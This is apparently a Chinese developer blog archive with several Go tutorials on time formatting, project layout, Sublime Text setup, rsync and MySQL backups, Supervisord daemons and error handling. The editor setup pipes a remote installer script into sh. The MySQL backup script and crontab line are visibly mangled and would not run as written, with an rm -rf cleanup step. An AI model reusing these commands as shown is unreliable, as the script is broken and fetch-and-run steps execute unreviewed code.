t1, _ := time.Parse("2006-01-02 15:04:05", "2019-12-09 13:49:53")
timestamp1 := t1.Unix()

格式化字符串

import (
	"time"
)

t := time.Now()
timeStr := t.Format("2006-01-02 15:04:05")

import (
	"time"
)

t1, _ := time.Parse("2006-01-02 15:04:05", "2019-12-09 13:49:53")
timeStr := t1.Format("2006-01-02 15:04:05")

这里你会发现个奇怪的问题就是，这里面的格式化字符串是一个数字组成的“2006-01-02 15:04:05”并不是“%Y-%m-%d %H:%M:%S”，也不是“Y-m-d H:i:s”

具体可以参考这里

https://pkg.go.dev/time?tab=doc#pkg-constants

也有网友给大家总结了下，详见https://www.cnblogs.com/baiyuxiong/p/4349595.html

我这里子列出下

月份 1,01,Jan,January

日　 2,02,_2

时　 3,03,15,PM,pm,AM,am

分　 4,04

秒　 5,05

年　 06,2006

周几 Mon,Monday

时区时差表示 -07,-0700,Z0700,Z07:00,-07:00,MST

时区字母缩写 MST

官方原文的介绍如下

The layout string used by the Parse function and Format method shows by example how the reference time should be represented. We stress that one must show how the reference time is formatted, not a time of the user’s choosing. Thus each layout string is a representation of the time stamp,

Jan 2 15:04:05 2006 MST

An easy way to remember this value is that it holds, when presented in this order, the values (lined up with the elements above):

1 2 3 4 5 6 -7

There are some wrinkles illustrated below.

Golang网站开发之控制器目录调整

Mon, 04 Aug 2025 18:07:40 +0000

Golang代码看的多了，你会更加理解其中的目录结果的部署，跟我们之前的后段语言，比如PHP还是有区别的。

比如我们命名一个控制文件的时候，叫做BlogController.php，然后里面会有create、update、delete等一些方法。我之前的博客wiki架构也采用了类似的方式，但是在golang中你会发现一些奇怪的问题，如目录看起来重叠

$ tree controllers/
controllers/
├── article
│ ├── article.go
│ └── save.go
├── article.go
├── json.go
├── upload.go
├── welcome
│ └── welcome.go
└── welcome.go

你会发现article/article.go，明明一个目录已经叫article了为什么，里面的文件还有一个叫article.go，感觉有些重复。之后从其文件的函数，以及golang的库函数可以发现，基本上一个函数一个文件，而且对应的函数文件会有一个函数的测试文件，这样在看目录的时候就很清楚。于是我将我的目录做了如下调整

$ tree controllers/
controllers/
├── article
│ ├── create.go
│ ├── delete.go
│ ├── error.go
│ ├── item.go
│ ├── save.go
│ ├── update.go
│ └── view.go
├── article.go
├── json.go
├── upload.go
├── welcome
│ └── welcome.go
└── welcome.go

在看下controller/article.go目录，是不是很清晰。

此时此刻，我觉得，这个golang可以不用什么框架的，针对自己项目的需求，自己搭建一个符合自己项目需求的框架，性能才会更好。

Golang网站开发之启动文件修改

Mon, 04 Aug 2025 18:07:37 +0000

这几天重新温习了一下Golang，再次进行我的小博客“wiki”进行开发，发现网上似乎多了很多针对web的使用方式的介绍，尤其是http这个库，于是之前一直想解决的问题也有了着落

先看下之前的main.go启动的代码，如下

func main() {
	router.Routes()

	err := http.ListenAndServe(":8090", nil)

	if err != nil {
		log.Println("Server Start Failed")
	} else {
		log.Println("Listening on 0.0.0.0:8090")
	}
}

现在的代码如下

func main() {
	// 路由
	router.Routes()

	var addr = flag.String("addr", ":8090", "The addr of the application")

	log.Println("Starting web server on", *addr)

	if err := http.ListenAndServe(*addr, nil); err != nil {
		log.Fatal("ListenAndServe:", err)
	}
}

这里说下我这段代码是要做什么？

正常来说，启动一个server的话，启动成功了，我们输入下信息，代表我们的server是正常启动的，但是前面第一段代码，并没有达到我的理想要求，什么都没有输出

后面一段代码提前输出了，并且在失败的时候会输出另外一段日志信息，这个虽说取巧了，但是也算是合理。这个问题我查了另外几片文章

https://juejin.im/post/5d390b1ae51d455071250bf7#heading-9

https://echorand.me/posts/golang-dissecting-listen-and-serve/

https://github.com/gin-gonic/gin/blob/master/gin.go

建议从上到下的看下，其实ListenAndServe是可以传第二个参数的，不过要实现对应的DefaultServeMuX的功能，比如ServeHttp这个功能，这个有简单的做法也有复杂的做法，后面我如果需要了，实现后再记录，不过可以看下第三个链接，里面有它实现的逻辑，可以参考下，感觉很完善。

Sublime Text 3配置Golang开发环境（1）

Mon, 04 Aug 2025 18:07:34 +0000

为什么不建议使用Gosublime

看下使用流程首先安装GoSublime

这个默认的作用只是起到了格式化和高亮代码的作用

如果格式化不起作用的话，可以试试安装下gofmt这个包不过gofmt是默认就安装的

如果想要在写代码的过程中自动导入和删除需要的包的话，先要安装下goimports，

go get -u golang.org/x/tools/cmd/goimports

然后在添加配置

"fmt_cmd" :[ "goimports"],

但是会遇到下面两个问题

不能变量自动补全没有办法提示函数自动补全功能没有办法提示

如果谁能告诉我解决办法，我万分感谢，毕竟安装一个就能搞定我很开心

完整篇 - 推荐使用

这个方法虽然要自己单独去安装每个插件，但是效果很好用

参考地址： https://www.alexedwards.net/blog/streamline-your-sublime-text-and-go-workflow

1、安装golang工具整合插件

打开Sublime Text 3按下快捷键 Ctrl/Cmd+Shift+P.

选择Package Control: Install Package命令.

输入Golang Build然后会车.

如何使用

打开Tools > Build System 菜单然后选择Go

这个时候打开命令面板，就可以输入下面的命令进行操作了

Build with: Go
Build with: Go - Run (see Cancelling a Build below)
Build with: Go - Test
Build with: Go - Benchmark
Build with: Go - Install
Build with: Go - Cross-Compile (Interactive)
Build with: Go - Clean

详情地址请参考：https://github.com/golang/sublime-build/blob/master/docs/usage.md

2、安装自动格式化和自动导入插件

打开Sublime Text 3按下快捷键 Ctrl/Cmd+Shift+P.

选择Package Control: Install Package命令.

输入Gofmt然后会车.

装完插件后，终端运行

$ go get golang.org/x/tools/cmd/goimports
$ which goimports
/home/xxx/Code/go/bin/goimports

安装完之后打开Preferences > Package Settings > Gofmt > Settings - User

然后添加如下配置

{
 "cmds": [
 ["goimports"]
 ],
 "format_on_save": true
}

重启sublime text，打开.go文件，编写代码保存，则自动格式化，并导入需要的包，如果提示config之类的错误

打开Preferences > Package Settings > Golang Config > Settings - User

然后添加如下配置

{
 "PATH": "/Users/xxx/.gvm/pkgsets/go1.13.1/global/bin",
 "GOPATH": "/Users/xxx/.gvm/pkgsets/go1.13.1/global"
}

参考文档：https://github.com/golang/sublime-config/blob/master/docs/user.md

然后重新打开.go文件在保存试试

3、安装代码高亮提示插件

安装 SublimeLinter 3 请点击这里

安装 SublimeLinter-golangcilint 请点击这里

安装 golangci-lint helper 请点击这里

我是通过此方式安装的golangci-linter

curl -sfL https://raw.githubusercontent.com/golangci/golangci-lint/master/install.sh | sh -s -- -b $(go env GOPATH)/bin v1.21.0

很多文章有介绍这个如何使用，但是我经过这个流程搭建完，依旧不起作用

于是我改用了golint，使用步骤如下：

安装 SublimeLinter 3 请点击这里

安装 SublimeLinter-golint 请点击这里

安装 golint 请点击这里

4、安装代码自动补全插件【这个暂时查到要使用gocode，安装完之后，流程复杂，操作高深，不喜欢，后面遇到再更新】

Go基础学习记录之部署和维护(四)

Mon, 04 Aug 2025 18:07:26 +0000

备份和恢复

今天分享下应用程序管理的另一个方面：生产服务器上的数据备份和恢复。我们经常遇到生产服务器不像我们期望的那样运行的情况。服务器网络中断，硬盘驱动器故障，操作系统崩溃和其他类似事件可能导致数据库不可用。需要从这些类型的事件中恢复，导致出现了许多冷备用/热备用工具，这些工具可以帮助远程实现灾难恢复。除了备份和恢复您可能正在使用的任何MySQL和Redis数据库之外，我们还将解释如何备份已部署的应用程序。

应用备份

在大多数群集环境中，不需要备份Web应用程序，因为它们实际上是来自本地开发环境或版本控制系统的代码副本。但是，在许多情况下，我们需要备份由我们网站的用户提供的数据。例如，当网站要求用户上传文件时，我们需要能够备份用户上传到我们网站的任何文件。当前提供这种冗余的方法是利用所谓的云存储，其中用户文件和其他相关资源被持久存储到高度可用的服务器网络中。如果我们的系统崩溃，只要用户数据持久存储到云端，我们至少可以确保不会丢失任何数据。

但是，我们没有将数据备份到云服务，或者云存储不是一种选择的情况呢？那么我们如何从我们的Web应用程序备份数据呢？在这里，我们描述了一个名为rsync的工具，它通常可以在类Unix系统上找到。 Rsync是一个可用于同步驻留在不同系统上的文件的工具，此功能的完美用例是保持我们的网站备份。

注意：Cwrsync是Windows环境的rsync实现

Rsync安装

您可以从其官方网站上找到最新版本的rsync。当然，因为rsync是非常有用的软件，所以许多Linux发行版默认都会安装它。

包安装：

# sudo apt-get install rsync ; Note: debian, ubuntu and other online installation methods ;
# yum install rsync ; Note: Fedora, Redhat, CentOS and other online installation methods ;
# rpm -ivh rsync ; Note: Fedora, Redhat, CentOS and other rpm package installation methods ;

对于其他Linux发行版，请使用适当的包管理方法进行安装。或者，您可以从源代码自行构建它：

tar xvf rsync-xxx.tar.gz
cd rsync-xxx
./configure - prefix =/usr; make; make install

注意：如果要从源代码编译和安装rsync，则必须安装gcc编译器工具，例如job。

注意：在使用编译和安装的源包之前，必须安装gcc编译器工具，例如job

Rsync配置

可以从三个主要配置文件配置Rsync：rsyncd.conf（主要配置文件），rsyncd.secrets（保存密码）和rsyncd.motd（包含服务器信息）。

启动rsync守护程序服务器端：

# /usr/bin/rsync --daemon --config=/etc/rsyncd.conf

–daemon参数用于在服务器模式下运行rsync。通过将其连接到rc.local文件，使其成为默认启动时设置：
```
echo 'rsync --daemon' >> /etc/rc.d/rc.local
```

设置rsync用户名和密码，确保它仅由root拥有，以便本地未经授权的用户或漏洞利用者无权访问它。如果未正确设置这些权限，rsync可能无法启动：

echo 'Your Username: Your Password' > /etc/rsyncd.secrets
chmod 600 /etc/rsyncd.secrets

客户端同步：客户端可以使用以下命令同步服务器文件：

rsync -avzP --delete --password-file=rsyncd.secrets [email protected]::www /var/rsync/backup

让我们将其分解为几个关键点：

-avzP是一些常见选项。使用rsync –help来查看这些操作。
–delete删除接收方的无关文件。例如，如果在发送方删除文件，则下次两台机器同步时，接收方将自动删除相应的文件。
–password-file指定用于访问rsync守护程序的密码文件。在客户端，这通常是客户端/etc/rsyncd.secrets文件，在服务器端，它是/etc/rsyncd.secrets。当使用像Cron这样的东西来自动化rsync时，您不需要手动输入密码。
username指定与服务器端/etc/rsyncd.secrets密码一起使用的用户名
192.168.145.5是服务器的IP地址
:: www（注意双冒号），指定直接通过TCP联系rsync守护进程，根据位于/etc/rsyncd.conf中的服务器端配置同步www模块。如果仅使用单个冒号，则不直接联系rsync守护程序; 相反，远程shell程序（如ssh）用作传输。

为了定期同步文件，您可以设置一个crontab文件，该文件将根据需要经常运行rsync命令。当然，用户可以根据保持某些目录或文件最新的重要程度来改变同步频率。

MySQL备份

对于大多数Web应用程序，MySQL数据库仍然是主流的首选解决方案。备份MySQL数据库的两种最常用方法是热备份和冷备份。热备份通常与在主/从配置中设置的系统一起使用以备份实时数据（主/从同步模式通常用于分离数据库读/写操作，但也可用于备份实时数据）。在线提供了大量信息，详细说明了实现此类方案的各种方法。对于冷备份，传入数据不会像热备份那样实时备份。而是定期执行数据备份。这样，如果系统出现故障，仍然可以保证在一段时间之前数据的完整性。例如，在系统故障导致数据丢失且主/从模型无法检索数据的情况下，冷备份可用于部分恢复。

shell脚本通常用于实现数据库的常规冷备份，在非本地模式下使用rsync执行同步任务。

以下是执行MySQL数据库的计划备份的备份脚本示例。我们使用mysqldump程序，它允许我们将数据库导出到一个文件。

#!/bin/bash
# Configuration information; modify it as needed 
mysql_user="USER" #MySQL backup user
mysql_password="PASSWORD" # MySQL backup user's password
mysql_host="localhost"
mysql_port="3306"
mysql_charset="utf8" # MySQL encoding
backup_db_arr=("db1" "db2") # Name of the database to be backed up, separating multiple databases wih spaces ("DB1", "DB2" db3 ")
backup_location=/var/www/mysql # Backup data storage location; please do not end with a "/" and leave it at its default, for the program to automatically create a folder
expire_backup_delete="ON" # Whether to delete outdated backups or not
expire_days=3 # Set the expiration time of backups, in days (defaults to three days); this is only valid when the `expire_backup_delete` option is "ON"

# We do not need to modify the following initial settings below
backup_time=`date +%Y%m%d%H%M` # Define the backup time format 
backup_Ymd=`date +%Y-%m-%d` # Define the backup directory date time
backup_3ago=`date-d '3 days ago '+%Y-%m-%d` # 3 days before the date
backup_dir=$backup_location/$backup_Ymd # Full path to the backup folder
welcome_msg="Welcome to use MySQL backup tools!" # Greeting

# Determine whether to MySQL is running; if not, then abort the backup 
mysql_ps=`ps-ef | grep mysql | wc-l`
mysql_listen=`netstat-an | grep LISTEN | grep $mysql_port | wc-l`
if [[$mysql_ps==0]-o [$mysql_listen==0]]; then
 echo "ERROR: MySQL is not running! backup aborted!"
 exit
else
 echo $welcome_msg
fi

# Connect to the mysql database; if a connection cannot be made, abort the backup 
mysql-h $mysql_host-P $mysql_port-u $mysql_user-p $mysql_password << end
use mysql;
select host, user from user where user='root' and host='localhost';
exit
end

flag=`echo $?`
if [$flag!="0"]; then
 echo "ERROR: Can't connect mysql server! backup aborted!"
 exit
else
 echo "MySQL connect ok! Please wait......"
 # Determine whether a backup database is defined or not. If so, begin the backup; if not, then abort 
 if ["$backup_db_arr"!=""]; then
 # dbnames=$(cut-d ','-f1-5 $backup_database)
 # echo "arr is(${backup_db_arr [@]})"
 for dbname in ${backup_db_arr [@]}
 do
 echo "database $dbname backup start..."
 `mkdir -p $backup_dir`
 `mysqldump -h $mysql_host -P $mysql_port -u $mysql_user -p $mysql_password $dbname - default-character-set=$mysql_charset | gzip> $backup_dir/$dbname -$backup_time.sql.gz`
 flag=`echo $?`
 if [$flag=="0"]; then
 echo "database $dbname successfully backed up to $backup_dir/$dbname-$backup_time.sql.gz"
 else
 echo "database $dbname backup has failed!"
 fi

 done
 else
 echo "ERROR: No database to backup! backup aborted!"
 exit
 fi
 # If deleting expired backups is enabled, delete all expired backups 
 if ["$expire_backup_delete"=="ON" -a "$backup_location"!=""]; then
 # `find $backup_location/-type d -o -type f -ctime + $expire_days-exec rm -rf {} \;`
 `find $backup_location/ -type d -mtime + $expire_days | xargs rm -rf`
 echo "Expired backup data delete complete!"
 fi
 echo "All databases have been successfully backed up! Thank you!"
 exit
fi

修改shell脚本的属性，如下所示：

chmod 600 /root/mysql_backup.sh
chmod +x /root/mysql_backup.sh

然后添加crontab命令：

00 00 *** /root/mysql_backup.sh

这会在00:00每天定期将数据库备份到/var/www/mysql目录，然后可以使用rsync进行同步。

MySQL恢复

我们刚刚介绍了一些常用的MySQL备份技术，即热备份和冷备份。回顾一下，热备份的主要目标是能够在应用程序以某种方式发生故障后实时恢复数据，例如在服务器硬盘故障的情况下。我们了解到，可以通过修改数据库配置文件来实现此类方案，以便将数据库复制到从属服务器上，从而最大限度地减少服务中断。

但有时我们需要执行SQL数据恢复的冷备份，与数据库备份一样，您可以通过命令导入：但是，热备份有时不够。在某些情况下，执行数据恢复需要冷备份，即使它只是部分数据恢复。对数据库进行冷备份时，可以使用以下MySQL命令导入它：

mysql -u username -p databse < backup.sql

如您所见，导入和导出数据库是一件相当简单的事情。如果您需要管理管理权限或处理不同的字符集，此过程可能会变得有点复杂，尽管有许多命令可以帮助您执行此操作。

Redis备份

Redis是最受欢迎的NoSQL数据库之一，热备份和冷备份技术也可以在使用它的系统中使用。与MySQL一样，Redis也支持主/从模式，这是实现热备份的理想选择（请参阅Redis的官方文档以了解如何配置它;该过程非常简单）。对于冷备份，Redis会定期将内存中的缓存数据保存到磁盘上的数据库文件中。我们可以简单地使用上述rsync备份方法将其与非本地计算机同步。

Redis恢复

同样，Redis恢复可分为热备份和冷备份恢复。只要Redis应用程序使用适当的数据库连接，从Redis数据库的热备份恢复数据的方法和目标与上面提到的相同。

Redis冷备份恢复只需将备份的数据库文件复制到工作目录中，然后在其上启动Redis。数据库文件在引导时自动加载到内存中; Redis引导的速度取决于数据库文件的大小。

小结

本次分享中主要研究了一些备份数据以及从部署应用程序后可能发生的灾难中恢复的技术。我们还介绍了rsync，这是一种可用于同步不同系统上的文件的工具。使用rsync，我们可以轻松地为MySQL和Redis数据库执行备份和恢复过程。我们希望通过介绍其中一些概念，您将能够开发灾难恢复过程，以更好地保护Web应用程序中的数据。

Go基础学习记录之部署和维护(三)

Mon, 04 Aug 2025 18:07:23 +0000

部署

当我们的Web应用程序最终生产就绪时，部署它所需的步骤是什么？在Go中，在编译程序之后创建封装我们的应用程序的可执行文件。用C编写的程序可以完美地作为后台守护程序进程运行，但是Go还没有对守护进程的本机支持。好消息是我们可以使用第三方工具来帮助我们管理Go应用程序的部署，其中包括Supervisord，upstart和daemontools等。本节将向您介绍Supervisord过程控制系统的一些基础知识。

守护进程

目前，Go程序不能作为守护进程运行（有关其他信息，请参阅github上的未解决问题）。在Go中分叉现有线程很困难，因为无法确保所有已使用的线程中的一致状态。

但是，我们可以看到许多在线实现守护进程的尝试，例如以下两种方式;

MarGo使用Command部署应用程序概念的一个实现。如果您真的想要对应用程序进行守护，建议使用类似于以下内容的代码：

d := flag.Bool("d", false, "Whether or not to launch in the background(like a daemon)")
if *d {
 cmd := exec.Command(os.Args[0],
 "-close-fds",
 "-addr", *addr,
 "-call", *call,
 )
 serr, err := cmd.StderrPipe()
 if err != nil {
 log.Fatalln(err)
 }
 err = cmd.Start()
 if err != nil {
 log.Fatalln(err)
 }
 s, err := ioutil.ReadAll(serr)
 s = bytes.TrimSpace(s)
 if bytes.HasPrefix(s, []byte("addr: ")) {
 fmt.Println(string(s))
 cmd.Process.Release()
 } else {
 log.Printf("unexpected response from MarGo: `%s` error: `%v`\n", s, err)
 cmd.Process.Kill()
 }
}

另一种解决方案是使用系统调用，但这种解决方案并不完美：

package main

import (
 "log"
 "os"
 "syscall"
)

func daemon(nochdir, noclose int) int {
 var ret, ret2 uintptr
 var err uintptr

 darwin := syscall.OS == "darwin"

 // already a daemon
 if syscall.Getppid() == 1 {
 return 0
 }

 // fork off the parent process
 ret, ret2, err = syscall.RawSyscall(syscall.SYS_FORK, 0, 0, 0)
 if err != 0 {
 return -1
 }

 // failure
 if ret2 < 0 {
 os.Exit(-1)
 }

 // handle exception for darwin
 if darwin && ret2 == 1 {
 ret = 0
 }

 // if we got a good PID, then we call exit the parent process.
 if ret > 0 {
 os.Exit(0)
 }

 /* Change the file mode mask */
 _ = syscall.Umask(0)

 // create a new SID for the child process
 s_ret, s_errno := syscall.Setsid()
 if s_errno != 0 {
 log.Printf("Error: syscall.Setsid errno: %d", s_errno)
 }
 if s_ret < 0 {
 return -1
 }

 if nochdir == 0 {
 os.Chdir("/")
 }

 if noclose == 0 {
 f, e := os.OpenFile("/dev/null", os.O_RDWR, 0)
 if e == nil {
 fd := f.Fd()
 syscall.Dup2(fd, os.Stdin.Fd())
 syscall.Dup2(fd, os.Stdout.Fd())
 syscall.Dup2(fd, os.Stderr.Fd())
 }
 }

 return 0
}

虽然上面的两个解决方案在Go中实现了守护进程，但我仍然不建议您使用任何一种方法，因为Go中没有对守护进程的正式支持。尽管如此，第一个选项是更可行的选项，并且目前被一些着名的开源项目（如skynet）用于实现守护进程。

Supervisord

上面，我们看了两个常用于在Go中实现守护进程的方案，但这两种方法都缺乏官方支持。因此，建议您使用第三方工具来管理应用程序部署。在这里，我们来看看用Python实现的Supervisord项目，该项目为流程管理提供了广泛的工具。 Supervisord将帮助您对Go应用程序进行守护，还允许您使用一些简单的命令以及许多其他操作来执行诸如启动，关闭和重新启动应用程序之类的操作。此外，Supervisord托管进程可以自动重启已崩溃的进程，确保程序可以从任何中断中恢复。

安装Supervisord

可以使用sudo easy_install supervisor轻松安装Supervisord。当然，还可以选择直接从官方网站下载，解压缩，进入文件夹，然后运行setup.py install手动安装。

如果您要使用easy_install路由，则需要先安装setuptools

转到http://pypi.python.org/pypi/setuptools#files并下载相应的文件，具体取决于系统的python版本。输入目录并执行sh setuptoolsxxxx.egg。当脚本完成后，您将能够使用easy_install命令安装Supervisord。

配置Supervisord

Supervisord的默认配置文件路径是/etc/supervisord.conf，可以使用文本编辑器进行修改。以下是典型配置文件的外观：

;/etc/supervisord.conf
[unix_http_server]
file = /var/run/supervisord.sock
chmod = 0777
chown= root:root

[inet_http_server]
# Web management interface settings
port=9001
username = admin
password = yourpassword

[supervisorctl]
; Must 'unix_http_server' match the settings inside
serverurl = unix:///var/run/supervisord.sock

[supervisord]
logfile=/var/log/supervisord/supervisord.log ; (main log file;default $CWD/supervisord.log)
logfile_maxbytes=50MB ; (max main logfile bytes b4 rotation;default 50MB)
logfile_backups=10 ; (num of main logfile rotation backups;default 10)
loglevel=info ; (log level;default info; others: debug,warn,trace)
pidfile=/var/run/supervisord.pid ; (supervisord pidfile;default supervisord.pid)
nodaemon=true ; (start in foreground if true;default false)
minfds=1024 ; (min. avail startup file descriptors;default 1024)
minprocs=200 ; (min. avail process descriptors;default 200)
user=root ; (default is current user, required if root)
childlogdir=/var/log/supervisord/ ; ('AUTO' child log dir, default $TEMP)

[rpcinterface:supervisor]
supervisor.rpcinterface_factory = supervisor.rpcinterface:make_main_rpcinterface
; Manage the configuration of a single process, you can add multiple program
[program: blogdemon]
command =/data/blog/blogdemon
autostart = true
startsecs = 5
user = root
redirect_stderr = true
stdout_logfile =/var/log/supervisord/blogdemon.log

Supervisord管理

安装完成后，可以在命令行上使用两个Supervisord命令：supervisor和supervisorctl。命令如下：

supervisord：初始启动，启动和流程配置管理。
supervisorctl stop programxxx：停止programxxx进程，其中programxxx是supervisord.conf文件中配置的值。例如，如果您配置了[program：blogdemon]，则可以使用supervisorctl stop blogdemon命令终止该进程。
supervisorctl start programxxx：启动programxxx进程
supervisorctl restart programxxx：重启programxxx进程
supervisorctl stop all：停止所有进程; 注意：启动，重启，停止不会加载最新的配置文件。
supervisorctl reload：加载最新的配置文件，启动它们，并使用新配置管理所有进程。

小结

在本次分享中，我们描述了如何在Go中实现守护进程。我们了解到Go本身并不支持守护进程，我们需要使用第三方工具来帮助我们管理守护进程。其中一个工具是Supervisord过程控制系统，我们可以使用它来轻松部署和管理我们的Go程序。

Go基础学习记录之部署和维护(二)

Mon, 04 Aug 2025 18:07:19 +0000

错误和崩溃

一旦我们的网络应用程序上线，很可能会出现一些无法预料的错误。下面列出了应用程序日常操作过程中可能出现的一些常见错误示例：

数据库错误：与访问数据库服务器或存储数据相关的错误。以下是您可能遇到的一些数据库错误：
连接错误：表示无法建立与网络数据库服务器的连接，提供的用户名或密码不正确，或者数据库不存在。
查询错误：SQL查询的非法或错误使用可能会引发错误，例如此错误。通过严格的测试可以避免这些类型的错误。
数据错误：数据库约束违规，例如尝试插入具有重复主键的字段。在将应用程序部署到生产环境之前，还可以通过严格的测试来避免这些类型的错误。
应用程序运行时错误：这些类型的错误差异很大，几乎涵盖了运行时可能出现的所有错误代码。可能的应用程序错误如下：
文件系统和权限错误：当应用程序尝试读取不存在或无权读取的文件时，或者当它尝试写入不允许写入的文件时，将发生此类错误。如果应用程序读取具有意外格式的文件，也会发生文件系统错误，例如配置文件应该是INI格式，而是结构化为JSON。
第三方应用程序错误：这些错误发生在与其他第三方应用程序或服务交互的应用程序中。例如，如果应用程序在调用Twitter的API之后发布推文，很明显Twitter的服务必须启动并运行才能使我们的应用程序完成其任务。我们还必须确保在调用中为这些第三方接口提供适当的参数，否则它们也会返回错误。
HTTP错误：这些错误差别很大，并且基于用户请求。最常见的是404 Not Found错误，当用户尝试访问应用程序中不存在的资源时会出现错误。另一个常见的HTTP错误是401 Unauthorized错误（访问请求的资源需要身份验证），403 Forbidden错误（用户完全拒绝访问此资源）和503 Service Unavailable错误（表示内部程序错误）。
操作系统错误：这些类型的错误发生在操作系统层，并且可能在操作系统资源过度分配时发生，从而导致崩溃和系统不稳定。此级别的另一个常见情况是操作系统磁盘充满容量，无法写入。这自然会产生许多错误。
网络错误：网络错误通常有两种形式：一种是用户向应用程序发出请求并且网络断开连接，从而破坏其处理和响应阶段。这些错误不会导致应用程序崩溃，但会影响用户对网站的访问;另一种是应用程序尝试从断开连接的网络读取数据，导致读取失败。在进行网络调用以避免此类问题时，明智的测试尤为重要，这可能会导致应用程序崩溃。

错误处理目标

在实施错误处理之前，我们必须清楚我们要实现的目标。通常，错误处理系统应完成以下操作：

用户错误通知：发生系统或用户错误时，导致当前用户请求无法完成，应通知受影响的用户此问题。例如，对于因用户请求而导致的错误，我们会显示统一的错误页面（404.html）。当发生系统错误时，我们使用自定义错误页面为用户提供有关发生的事情的反馈 - 例如，系统暂时不可用（error.html）。
记录错误：发生系统错误时（通常，当函数返回非零错误变量时），应使用前面描述的记录系统将事件记录到日志文件文件中。如果是致命错误，还应通过电子邮件通知系统管理员。但一般情况下，大多数404错误都不能保证发送电子邮件通知;将事件记录到日志中供以后仔细检查通常就足够了。
回滚当前请求操作：如果用户请求导致服务器错误，那么我们需要能够回滚当前操作。让我们看一个例子：系统将用户提交的表单保存到其数据库，然后将此数据提交给第三方服务器。但是，第三方服务器断开连接，我们无法与它建立连接，从而导致错误。在这种情况下，应从数据库中删除先前存储的表单数据（应通知void），并且应用程序应通知用户系统错误。
确保应用程序可以从错误中恢复：我们知道任何程序都很难保证100％的正常运行时间，因此我们需要为程序失败的情况做好准备。例如，如果我们的程序崩溃，我们首先需要记录错误，通知相关各方，然后立即启动并重新运行程序。这样，我们的应用程序可以继续提供服务，同时系统管理员会调查并修复问题的原因。

如何处理错误

在前面的分享中，我们使用一些示例解决了错误处理和设计的过程。让我们更详细地讨论这些示例，并查看其他一些错误处理方案：

通知用户错误：

发生错误时，我们可以向用户显示两种错误页面：404.html和error.html。以下是错误页面的源代码可能如下所示的示例：

<html lang="en">

<head>
 <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
 <title>Page Not Found
 </title>
 <meta name="viewport" content="width=device-width, initial-scale=1.0">
</head>

<body>
 <div class="container">
 <div class="row">
 <div class="span10">
 <div class="hero-unit">
 <h1> 404! </h1>
 <p>{{.ErrorInfo}}</p>
 </div>
 </div>
 <!--/span-->
 </div>
 </div>
</body>

</html>

另一个示例

<html lang="en">

<head>
 <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
 <title>system error page
 </title>
 <meta name="viewport" content="width=device-width, initial-scale=1.0">

</head>

<body>
 <div class="container">
 <div class="row">
 <div class="span10">
 <div class="hero-unit">
 <h1> system is temporarily unavailable ! </h1>
 <p>{{.ErrorInfo}}</p>
 </div>
 </div>
 <!--/span-->
 </div>
 </div>
</body>

</html>

404错误处理逻辑，在发生系统错误时：

func (p *MyMux) ServeHTTP(w http.ResponseWriter, r *http.Request) {
 if r.URL.Path == "/" {
 sayhelloName(w, r)
 return
 }
 NotFound404(w, r)
 return
}

func NotFound404(w http.ResponseWriter, r *http.Request) {
 log.Error(" page not found") //error logging
 t, _ = t.ParseFiles("tmpl/404.html", nil) //parse the template file
 ErrorInfo := " File not found " //Get the current user information
 t.Execute(w, ErrorInfo) //execute the template merger operation
}

func SystemError(w http.ResponseWriter, r *http.Request) {
 log.Critical(" System Error") //system error triggered Critical, then logging will not only send a message
 t, _ = t.ParseFiles("tmpl/error.html", nil) //parse the template file
 ErrorInfo := " system is temporarily unavailable " //Get the current user information
 t.Execute(w, ErrorInfo) //execute the template merger operation
}

如何处理异常

我们知道许多其他语言都尝试过捕获用于捕获异常情况的关键字，但实际上，可以预期会发生许多错误而不需要异常处理，并且可以将其视为错误。出于这个原因，Go函数通过设计返回错误。例如，如果找不到文件或os.Open返回错误，这些函数不会出现混乱; 另一个例子，如果网络连接在数据写操作期间断开连接，则net.Conn系列Write函数将返回错误而不是恐慌。在大多数应用程序中都会出现这些错误状态，并且Go特别通过返回错误变量使操作失败时使其显式化。看一下上面的例子，我们可以清楚地看到可能发生的错误。

但是，应该使用恐慌的情况。例如，在几乎不可能发生故障的操作中，或者在无法返回错误并且操作无法继续的某些情况下，应该使用恐慌。例如，尝试获取x[j]处的数组值的程序，但索引j超出范围。代码的这一部分将导致程序恐慌，这种性质的其他关键的，意外的错误也会引起恐慌。默认情况下，恐慌会杀掉有问题的进程（goroutine），允许调度goroutine的代码有机会从错误中恢复。这样，发生错误的函数以及之后的所有后续代码将不会继续执行。 Go的恐慌是故意设计的，考虑到这种行为，这与典型的错误处理不同;恐慌真的只是异常处理。在下面的示例中，我们希望User[UID]将从User数组返回一个用户名，但我们使用的UID超出范围并引发异常。如果我们没有立即处理这个问题的恢复机制，那么该进程将被终止，并且恐慌将在堆栈中传播，直到我们的程序最终崩溃。为了使我们的应用程序能够健壮并且能够抵御这些类型的运行时错误，我们需要在某些地方实现恢复机制。

func GetUser(uid int) (username string) {
 defer func() {
 if x := recover(); x != nil {
 username = ""
 }
 }()

 username = User[uid]
 return
}

以上描述了错误和异常之间的差异。那么，当我们开发Go应用程序时，我们何时使用其中一个？规则很简单：如果定义了预期可能失败的函数，则返回错误变量。当调用另一个包的函数时，如果它被很好地实现，除非发生了真正的异常（无论是否已实现恢复逻辑），否则不必担心它会发生混乱。恐慌和恢复只应在包内部使用，以处理无法保证程序状态或发生程序员错误的特殊情况。外部API应显式返回错误值。

小结

本篇文章分享中概述了Web应用程序应如何处理各种错误，如网络，数据库和操作系统错误等。我们概述了几种有效处理运行时错误的技术，例如：显示用户友好的错误通知，回滚操作，记录和警告系统管理员。最后，我们解释了如何正确处理错误和异常。错误的概念经常与异常的概念混淆，但在Go中，两者之间存在明显的区别。出于这个原因，我们已经讨论了在Web应用程序中处理错误和异常的原则。

Golang网站开发之控制器和模型修改

Mon, 04 Aug 2025 11:39:24 +0000

看过我前面几篇文章有关于网站开发中控制器和模型层的相关逻辑的话，可能会觉得，代码有点复杂，不是太符合Golang语言的特点，同时也不具有方便的使用特性，最近有闲暇的时候，继续看了一些关于Golang的基础只是，对之前的逻辑进行了下改进，主要分以下几个部分

1、修改路由（router）

2、修改控制器（controller）

3、修改模型（model）

下面具体看下做了哪些修改

修改路由

本来之前是要加入一些路由的请求方法，后来也没有想到很好的方式，于是就想还是将这种判断方式加入控制器层去做比较好，但是后来找打了这个加路由请求方式的方法后，觉得还是在路由这一层做个判断比较好。

第一步就是定义接口，实现路由的具体判断逻辑，代码如下

package router

import (
	"net/http"
	"strings"
)

// Method 接口
type Method interface {
	GET(path string, handler func(w http.ResponseWriter, r *http.Request))
